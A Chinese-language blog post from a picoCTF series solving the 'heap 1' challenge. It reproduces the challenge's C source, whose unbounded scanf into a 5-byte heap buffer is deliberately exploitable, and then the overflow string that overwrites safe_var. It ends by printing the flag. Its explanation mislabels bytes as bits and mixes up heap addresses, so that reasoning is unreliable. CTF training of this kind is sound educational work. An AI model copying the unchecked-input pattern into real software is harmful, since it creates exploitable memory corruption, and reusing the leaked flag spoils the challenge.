iT邦幫忙

2024 iThome 鐵人賽

DAY 7
0
Security

picoCTF系列 第 7

[Day 7] heap 1

  • 分享至 

  • xImage
  •  

首先來看題目,知道和 heap overflow 有關,並且提示告訴我們可以從 safe_var 這個變數下手。
https://ithelp.ithome.com.tw/upload/images/20240808/20168342Hr8OOQzMYi.png
hint 1:How can you tell where safe_var starts?

下載題目給的檔案,並且使用 ls 查看有什麼檔案,發現有一個 .c 檔,還有一個不知道是甚麼的檔案。

$ ls 
chall  chall.c

接著使用 file 這個指令,查看 chall 是甚麼,發現是一個 elf 的檔案 ( 是一種用於在 Linux 和類 Unix 系統上儲存 binaries, libraries, and core dumps 的格式,詳情可以參考 What Is an ELF File?關於ELF的兩三事 )。

$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e191661a34476dabf75adb49242d4b71521a6295, for GNU/Linux 3.2.0, with debug_info, not stripped

試著執行 chall,發現會出現以下選項和文字。

$ chmod +x chall
$ ./chall

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 

然後再連上題目給的 server,發現和執行 chall 出來的結果差不多。只是會先將 heap 的狀況列出,再來才是每個選項對應的功能為何。

$ nc tethys.picoctf.net 51624

Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5ea95328f2b0  ->   pico
+-------------+----------------+
[*]   0x5ea95328f2d0  ->   bico
+-------------+----------------+

1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)
5. Exit

接著來測試每個選項會得到什麼狀況,發現輸入 3 時,safe_var 出現的是"bico" 的字串,輸入 4 會得到 " no flage for you :( " 的字串。

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5ea95328f2b0  ->   pico
+-------------+----------------+
[*]   0x5ea95328f2d0  ->   bico
+-------------+----------------+

Enter your choice: 3

Take a look at my variable: safe_var = bico

1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)

Enter your choice: 4
Looks like everything is still secure!

No flage for you :(

1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)
5. Exit

當我們選擇選項 2 時,該功能會將使用者輸入的資料寫入到一個 buffer 中。在這個例子中,我們輸入了 "picopico"。接著,我們檢查 heap 的狀態,發現位於 0x5ea95328f2b0 的變數已經被更新為 "picopico"

Enter your choice: 2
Data for buffer: picopico

1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5ea95328f2b0  ->   picopico
+-------------+----------------+
[*]   0x5ea95328f2d0  ->   bico
+-------------+----------------+

1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)
5. Exit

測試完每個選項會有甚麼作用後,查看題目給的 .c 檔,以下是完整的 code。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap1!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

接下來我們來看看這個程式是怎麼執行的。

首先先看的 main(),會發現 main 裡面寫的,就是一開始連上 server 所顯示的文字。

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

我們的目的是為了得到 flag,已知選項 4 和 flag 有關係,於是我們看到 check_win() 個函式,發現如果 safe_var == "pico" 的時候會讀取 flag.txt 的檔案。

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

我們接著查看了 safe_var 出現的其他地方,發現它也出現在 print_heap() 函式中。在這個函式裡,heap 狀態會被列印出來,其中第一個變數是 input_data,第二個是 safe_var。

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

此外,根據最初列印出的 heap 狀態,我們得知 input_data 的位置在 0x5ea95328f2b0,而 safe_var 的位置則在 0x5ea95328f2d0。

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5ea95328f2b0  ->   pico
+-------------+----------------+
[*]   0x5ea95328f2d0  ->   bico
+-------------+----------------+

最後,我們來看一下 write_buffer() 函式,知道所填入的字串更改的變數是 input_data

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

而因為 input_data 的位置是在 0x5eb6849a32ba, safe_var 的位置則是 0x5ea95328f2d0,因此要更動到 safe_var,必須要讓 input_data 的 heap 溢位到 0x5ea95328f2d0。
而我們又知 0x5eb6849a32ba 和 0x5eb6849a32da 相差 32 bits,也就是說 input_data 最多只能接受 32 個 bits ,所以需要先給 32 個字元 ( 因為一個字元一個 bit ),並且欲使 safe_var == "pico",所以要再輸入 "pico",才能更改到位置 0x5eb6849a32da。

於是選擇選項 2 後,寫入字串 "picopicopicopicopicopicopicopicopico",並選擇選項 1 來確認是否更改到了 safe_var 的值。結果顯示,safe_var 的值的確被修改了。

Enter your choice: 2
Data for buffer: picopicopicopicopicopicopicopicopico

1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5ea95328f2b0  ->   picopicopicopicopicopicopicopicopico
+-------------+----------------+
[*]   0x5ea95328f2d0  ->   pico
+-------------+----------------+

接著再輸入 4 就得到 flag 了。

1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{starting_to_get_the_hang_79ee3270}

小結:
學習到如何讓 heap 溢位。


上一篇
[Day 6] Ready Gladiator 0
下一篇
[Day 8] More SQLi
系列文
picoCTF30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言